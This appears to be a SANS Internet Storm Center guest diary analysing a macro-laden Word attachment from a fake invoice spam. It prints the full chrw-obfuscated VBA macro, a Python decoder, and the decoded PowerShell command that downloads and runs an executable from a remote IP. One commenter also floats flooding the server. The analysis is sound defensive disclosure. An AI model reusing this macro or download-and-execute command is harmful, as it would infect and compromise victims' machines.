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SANS ISC: Guest Diary: Xavier Mertens - Analyzing an MS Word document not detected by AV software SANS ISC InfoSec Forums

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Guest Diary: Xavier Mertens - Analyzing an MS Word document not detected by AV software

[Guest Diary: Xavier Mertens] [Analyzing an MS Word document not detected by AV software]

Like everybody, I'm receiving a lot of spam everyday but... I like it! All unsolicited received messages are stored in a dedicated folder for two purposes:

This helps me to find new types of spams or new techniques used by attackers to deliver malicious content in our mailboxes. Today, I received an interesting Word document. I'm not sure if it is a very common one but I did a small analysis. The mail was based on a classic fake invoice notification:

From: Ollie Oconnor 
To: xavier
Subject: 49933-Your Latest Documents from RS Components 570009054

The fake invoice was related to rswww.com which is a UK online shop for electronic devices, components and IT related stuffs. The attached Word document was processed by my MIME2VT tool but the VirusTotal score was 0/53(https://www.virustotal.com/en/file/be7a959827ff33ab04195111600efb576eeac11904ef9b666386f56dafd8cfba/analysis/)! Interesting... It was too tempting to make some manual investigations. Using Didier Stevens's tool oledump(http://blog.didierstevens.com/programs/oledump-py/), I extracted the following macro:

$ ./oledump.py /tmp/20150331-A7740189461014146728299-1.doc
1:      113 '\x01CompObj'
2:     4096 '\x05DocumentSummaryInformation'
3:     4096 '\x05SummaryInformation'
4:     4096 '1Table'
5:     4096 'Data'
6:      490 'Macros/PROJECT'
7:       65 'Macros/PROJECTwm'
8: M  11613 'Macros/VBA/Module1'
9: M   1214 'Macros/VBA/ThisDocument'
10:     2932 'Macros/VBA/_VBA_PROJECT'
11:     1165 'Macros/VBA/__SRP_0'
12:       70 'Macros/VBA/__SRP_1'
13:     8430 'Macros/VBA/__SRP_2'
14:      103 'Macros/VBA/__SRP_3'
15:      561 'Macros/VBA/dir'
16:     5684 'WordDocument'
$ ./oledump.py -s 8 -v /tmp/20150331-A7740189461014146728299-1.doc
Attribute VB_Name = "Module1"
Sub sdfsdfdsf()
GVhkjbjv = chrw(49.5 + 49.5) & chrw(54.5 + 54.5) & chrw(50 + 50) & chrw(16 + 16) & chrw(23.5 + 23.5) & chrw(37.5 + 37.5) & chrw(16 + 16) & chrw(56 + 56) & chrw(55.5 + 55.5) & chrw(59.5 + 59.5) & chrw(50.5 + 50.5) & chrw(57 + 57) & chrw(57.5 + 57.5) & chrw(52 + 52) & chrw(50.5 + 50.5) & chrw(54 + 54) & chrw(54 + 54) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(16 + 16) & chrw(22.5 + 22.5) & chrw(34.5 + 34.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(49.5 + 49.5) & chrw(58.5 + 58.5) & chrw(58 + 58) & chrw(52.5 + 52.5) & chrw(55.5 + 55.5) & chrw(55 + 55) & chrw(40 + 40) & chrw(55.5 + 55.5) & chrw(54 + 54) & chrw(52.5 + 52.5) & chrw(49.5 + 49.5) & chrw(60.5 + 60.5) & chrw(16 + 16) & chrw(49 + 49) & chrw(60.5 + 60.5) & chrw(56 + 56) & chrw(48.5 + 48.5) & chrw(57.5 + 57.5) & chrw(57.5 + 57.5) & chrw(16 + 16)
GYUUYIiii = chrw(22.5 + 22.5) & chrw(55 + 55) & chrw(55.5 + 55.5) & chrw(56 + 56) & chrw(57 + 57) & chrw(55.5 + 55.5) & chrw(51 + 51) & chrw(52.5 + 52.5) & chrw(54 + 54) & chrw(50.5 + 50.5) & chrw(16 + 16) & chrw(20 + 20) & chrw(39 + 39) & chrw(50.5 + 50.5) & chrw(59.5 + 59.5) & chrw(22.5 + 22.5) & chrw(39.5 + 39.5) & chrw(49 + 49) & chrw(53 + 53) & chrw(50.5 + 50.5) & chrw(49.5 + 49.5) & chrw(58 + 58) & chrw(16 + 16) & chrw(41.5 + 41.5) & chrw(60.5 + 60.5) & chrw(57.5 + 57.5) & chrw(58 + 58) & chrw(50.5 + 50.5) & chrw(54.5 + 54.5) & chrw(23 + 23) & chrw(39 + 39) & chrw(50.5 + 50.5) & chrw(58 + 58) & chrw(23 + 23) & chrw(43.5 + 43.5) & chrw(50.5 + 50.5) & chrw(49 + 49) & chrw(33.5 + 33.5) & chrw(54 + 54) & chrw(52.5 + 52.5) & chrw(50.5 + 50.5) & chrw(55 + 55) & chrw(58 + 58) & chrw(20.5 + 20.5) & chrw(23 + 23)
hgFYyhhshu = chrw(34 + 34) & chrw(55.5 + 55.5) & chrw(59.5 + 59.5) & chrw(55 + 55) & chrw(54 + 54) & chrw(55.5 + 55.5) & chrw(48.5 + 48.5) & chrw(50 + 50) & chrw(35 + 35) & chrw(52.5 + 52.5) & chrw(54 + 54) & chrw(50.5 + 50.5) & chrw(20 + 20) & chrw(19.5 + 19.5) & chrw(52 + 52) & chrw(58 + 58) & chrw(58 + 58) & chrw(56 + 56) & chrw(29 + 29) & chrw(23.5 + 23.5) & chrw(23.5 + 23.5) & chrw(24.5 + 24.5) & chrw(28 + 28) & chrw(26.5 + 26.5) & chrw(23 + 23) & chrw(25.5 + 25.5) & chrw(28.5 + 28.5) & chrw(23 + 23) & chrw(24.5 + 24.5) & chrw(26 + 26) & chrw(28.5 + 28.5) & chrw(23 + 23) & chrw(25 + 25) & chrw(24.5 + 24.5) & chrw(23.5 + 23.5) & chrw(53 + 53) & chrw(57.5 + 57.5) & chrw(48.5 + 48.5) & chrw(60 + 60) & chrw(55.5 + 55.5) & chrw(28 + 28) & chrw(58.5 + 58.5) & chrw(23.5 + 23.5) & chrw(51.5 + 51.5) & chrw(25.5 + 25.5) & chrw(28.5 + 28.5) & chrw(49 + 49) & chrw(25 + 25) & chrw(49.5 + 49.5) & chrw(60 + 60) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(19.5 + 19.5)
GYiuudsuds = chrw(22 + 22) & chrw(19.5 + 19.5) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(49.5 + 49.5) & chrw(48.5 + 48.5) & chrw(49 + 49) & chrw(19.5 + 19.5) & chrw(20.5 + 20.5) & chrw(29.5 + 29.5) & chrw(16 + 16) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(56 + 56) & chrw(48.5 + 48.5) & chrw(55 + 55) & chrw(50 + 50) & chrw(16 + 16)
shdfihiof = chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(49.5 + 49.5) & chrw(48.5 + 48.5) & chrw(49 + 49) & chrw(16 + 16) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23)
doifhsoip = chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(29.5 + 29.5) & chrw(16 + 16) & chrw(57.5 + 57.5) & chrw(58 + 58) & chrw(48.5 + 48.5) & chrw(57 + 57) & chrw(58 + 58) & chrw(16 + 16) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(29.5 + 29.5)
JHGUgisdc = GVhkjbjv + GYUUYIiii + hgFYyhhshu + GYiuudsuds + shdfihiof + doifhsoip
IUGuyguisdf = Shell(JHGUgisdc, 0)
End Sub

The macro is quite simple: a shell command is obfuscated by multiple chrw() functions to generate substrings which are concatenated and passwed to the Shell() function to be executed. Let's write a small python script to decode this. I'm search for all occurences of chrw(), extract the values to create a new string:

#!/usr/bin/python
import re
import sys
data = sys.stdin.read()
r = re.compile('chrw\((\S+) \+ (\S+)\)')
i = re.findall(r, data)
cmd = ""
for match in i:
   cmd = cmd + chr(int(float(match[0]) + float(match[1]))
print cmd

Here is the result:

# ./oledump.py -s 8 -v /tmp/20150331-A7740189461014146728299-1.doc | ./decode.py
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://185.39.149.21/jsaxo8u/g39b2cx.exe','%TEMP%\4543543.cab'); expand %TEMP%\4543543.cab %TEMP%\4543543.exe; start %TEMP%\4543543.exe;

The webserver being the IP address 185.39.149.21 (located in Russia) is down at the moment... I'm keeping an eye on it...

-- 
Alex Stanford - GIAC GWEB & GSEC,
Research Operations Manager,
SANS Internet Storm Center
/in/alexstanford

Alex Stanford

136 Posts
Alex, this Cisco Talos blog also covers the same threat
hxxp://blogs.cisco.com/security/talos/spam-dridex
Anonymous
It is so very tempting to flood that webserver continuously so it is knocked off the net, rendering that download useless... but maybe that's exactly what's happening now, as it seems down... ;)

One should also send the owner - alex@biscon.org (send me lots of spam!) - an anonymous note telling him just how stupid he is... ;)
Per

11 Posts
I also have seen this type of obfuscated VBA Macro and blogged about it recently ( hxxp://neonprimetime.blogspot.com/2015/03/obfuscated-malicious-vba-macro.html )
Per
12 Posts

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